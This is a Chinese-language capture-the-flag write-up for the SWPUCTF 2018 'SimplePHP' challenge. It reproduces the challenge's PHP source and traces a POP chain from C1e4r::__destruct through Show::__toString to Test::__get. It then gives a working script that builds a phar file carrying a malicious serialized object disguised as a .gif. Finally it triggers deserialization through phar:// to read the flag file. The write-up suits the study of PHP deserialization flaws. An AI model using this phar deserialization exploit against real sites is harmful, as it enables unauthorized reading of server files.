[SWPUCTF 2018]SimplePHP

[SWPUCTF 2018]SimplePHP

模糊测试

这个题首先,看到后会有一点觉得是文件上传。没有错,这只是一部分。

上传了文件之后发现会被“安排”。

这个过程比较模糊所以叫做模糊的测试叭。

image-20200416104034330

发现文件包含

在查看文件的tab中,我萌可以看到 ?file= ;不用多说这个点了。

image-20200416104309697

我萌把所有的源码规制下来。下面的源码搞出来的话就跳过叭,挺长的。

首先我们是得到的file.php的内容。

然后根据file.php的源码取得function.php,class.php。

然后再拿到base.php(或者说可以理解是index.php)。

file.php

<?php 
header("content-type:text/html;charset=utf-8");  
include 'function.php'; 
include 'class.php'; 
ini_set('open_basedir','/var/www/html/'); 
$file = $_GET["file"] ? $_GET['file'] : ""; 
if(empty($file)) { 
    echo "<h2>There is no file to show!<h2/>"; 
} 
$show = new Show(); 
if(file_exists($file)) { 
    $show->source = $file; 
    $show->_show(); 
} else if (!empty($file)){ 
    die('file doesn\'t exists.'); 
} 
?> 

function.php

222.90.67.205
<?php 
//show_source(__FILE__); 
include "base.php"; 
header("Content-type: text/html;charset=utf-8"); 
error_reporting(0); 
function upload_file_do() { 
    global $_FILES; 
    $filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
    //mkdir("upload",0777); 
    if(file_exists("upload/" . $filename)) { 
        unlink($filename); 
    } 
    move_uploaded_file($_FILES["file"]["tmp_name"],"upload/" . $filename); 
    echo '<script type="text/javascript">alert("上传成功!");</script>'; 
} 
function upload_file() { 
    global $_FILES; 
    if(upload_file_check()) { 
        upload_file_do(); 
    } 
} 
function upload_file_check() { 
    global $_FILES; 
    $allowed_types = array("gif","jpeg","jpg","png"); 
    $temp = explode(".",$_FILES["file"]["name"]); 
    $extension = end($temp); 
    if(empty($extension)) { 
        //echo "<h4>请选择上传的文件:" . "<h4/>"; 
    } 
    else{ 
        if(in_array($extension,$allowed_types)) { 
            return true; 
        } 
        else { 
            echo '<script type="text/javascript">alert("Invalid file!");</script>'; 
            return false; 
        } 
    } 
} 
?> 

class.php

<?php
class C1e4r
{
    public $test;
    public $str;
    public function __construct($name)
    {
        $this->str = $name;
    }
    public function __destruct()
    {
        $this->test = $this->str;
        echo $this->test;
    }
}

class Show
{
    public $source;
    public $str;
    public function __construct($file)
    {
        $this->source = $file;   //$this->source = phar://phar.jpg
        echo $this->source;
    }
    public function __toString()
    {
        $content = $this->str['str']->source;
        return $content;
    }
    public function __set($key,$value)
    {
        $this->$key = $value;
    }
    public function _show()
    {
        if(preg_match('/http|https|file:|gopher|dict|\.\.|f1ag/i',$this->source)) {
            die('hacker!');
        } else {
            highlight_file($this->source);
        }
        
    }
    public function __wakeup()
    {
        if(preg_match("/http|https|file:|gopher|dict|\.\./i", $this->source)) {
            echo "hacker~";
            $this->source = "index.php";
        }
    }
}
class Test
{
    public $file;
    public $params;
    public function __construct()
    {
        $this->params = array();
    }
    public function __get($key)
    {
        return $this->get($key);
    }
    public function get($key)
    {
        if(isset($this->params[$key])) {
            $value = $this->params[$key];
        } else {
            $value = "index.php";
        }
        return $this->file_get($value);
    }
    public function file_get($value)
    {
        $text = base64_encode(file_get_contents($value));
        return $text;
    }
}
?>

base.php

<?php 
    session_start(); 
?> 
<!DOCTYPE html> 
<html> 
<head> 
    <meta charset="utf-8"> 
    <title>web3</title> 
    <link rel="stylesheet" href="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/css/bootstrap.min.css"> 
    <script src="https://cdn.staticfile.org/jquery/2.1.1/jquery.min.js"></script> 
    <script src="https://cdn.staticfile.org/twitter-bootstrap/3.3.7/js/bootstrap.min.js"></script> 
</head> 
<body> 
    <nav class="navbar navbar-default" role="navigation"> 
        <div class="container-fluid"> 
        <div class="navbar-header"> 
            <a class="navbar-brand" href="index.php">首页</a> 
        </div> 
            <ul class="nav navbar-nav navbra-toggle"> 
                <li class="active"><a href="file.php?file=">查看文件</a></li> 
                <li><a href="upload_file.php">上传文件</a></li> 
            </ul> 
            <ul class="nav navbar-nav navbar-right"> 
                <li><a href="index.php"><span class="glyphicon glyphicon-user"></span><?php echo $_SERVER['REMOTE_ADDR'];?></a></li> 
            </ul> 
        </div> 
    </nav> 
</body> 
</html> 
<!--flag is in f1ag.php-->

分析源码

首页得网页源代码告诉了我们, ,文件包含肯定会过滤掉。

class.php粗滤查看过滤会发现确实过滤了f1ag.php。

然后整个题没有一个unserialize();调用。

序列化没unserialize();

这可咋做呀。

整理思路

序列化,无unserialize(),文件上传,phar协议未过滤。

很明显了这是个phar得题。

pop链建立

首先是找使链触发得魔术方法。

C1e4r类中有__destruct(),

__destruct()是PHP中的析构方法,在对象被销毁时被调用,程序结束时会被自动调用销毁对象。

函数中发现了echo,那么要利用echo $this->test。

public function __destruct()
{
        $this->test = $this->str;
        echo $this->test;
}

show类有__toString(),

__toString方法在将一个对象转化成字符串时被自动调用,比如进行echo,print操作时会被调用并返回一个字符串。

利用$this->str['str']->source;

public function __toString()
{
        $content = $this->str['str']->source;
        return $content;
}

Test类有__get()

__get()当未定义的属性或没有权限访问的属性被访问时该方法会被调用。

利用 $this->get --> $this->file_get($value); -->base64_encode(file_get_contents($value));

public function __get($key)
{
		return $this->get($key);
		
}
public function get($key)
{
       if(isset($this->params[$key])) {
            $value = $this->params[$key];
		} else {
            $value = "index.php";
        }
        return $this->file_get($value);
}
public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

其中调用了file_get_contents($value)函数的file_get函数很重要,一般看到调用了file_get_contents就可以认为这个是pop链的结束。

public function file_get($value)
{
       $text = base64_encode(file_get_contents($value));
       return $text;
}

整个pop链触发

C1e4r::destruct() --> Show::toString() --> Test::__get() 。

根据pop链构造exp

<?php
class C1e4r
{
    public $test;
    public $str;
}

class Show
{
    public $source;
    public $str;
}
class Test
{
    public $file;
    public $params;

}

$c1e4r = new C1e4r();
$show = new Show();
$test = new Test();
$test->params['source'] = "/var/www/html/f1ag.php";
$c1e4r->str = $show;   //利用  $this->test = $this->str; echo $this->test;
$show->str['str'] = $test;  //利用 $this->str['str']->source;


$phar = new Phar("exp.phar"); //.phar文件
$phar->startBuffering();
$phar->setStub('<?php __HALT_COMPILER(); ? >'); //固定的
$phar->setMetadata($c1e4r); //触发的头是C1e4r类,所以传入C1e4r对象
$phar->addFromString("exp.txt", "test"); //随便写点什么生成个签名
$phar->stopBuffering();

?>

因为正常phar后缀被禁止,所以改名为.gif。

image-20200416134626333

计算文件名

根据file.php的命名规范计算

咱萌exp.gif 被改之后的新文件名

$filename = md5($_FILES["file"]["name"].$_SERVER["REMOTE_ADDR"]).".jpg"; 
其中$_FILES["file"]["name"]=exp exp也就是咱萌上传文件的文件名,不带后缀
$_SERVER["REMOTE_ADDR"]是设定好的174.0.0.201

image-20200416135057669

或者…………开挂,

竟然把目录开着了,那也可以直接用拉?

image-20200416134745690

利用

file.php输入如下参数,注意8d535ac87d69bd2cd99da8e195d7f43b是我们计算的文件名

http://c4d2bb44-61f4-4c88-989f-24843ccbae08.node3.buuoj.cn/file.php?file=phar://upload/8d535ac87d69bd2cd99da8e195d7f43b.jpg

得到base64加密的内容

PD9waHAgDQoJLy8kYSA9ICdmbGFnezZkMWE0YTIwLTE4NjItNDExZC05Mzk5LTE0Yjg5MjdhYmYzNH0nOw0KID8+DQoNCg==

image-20200416135702549解密

image-20200416135734308

posted @ 2020-04-16 14:00  何止(h3zh1)  阅读(3930)  评论(0编辑  收藏  举报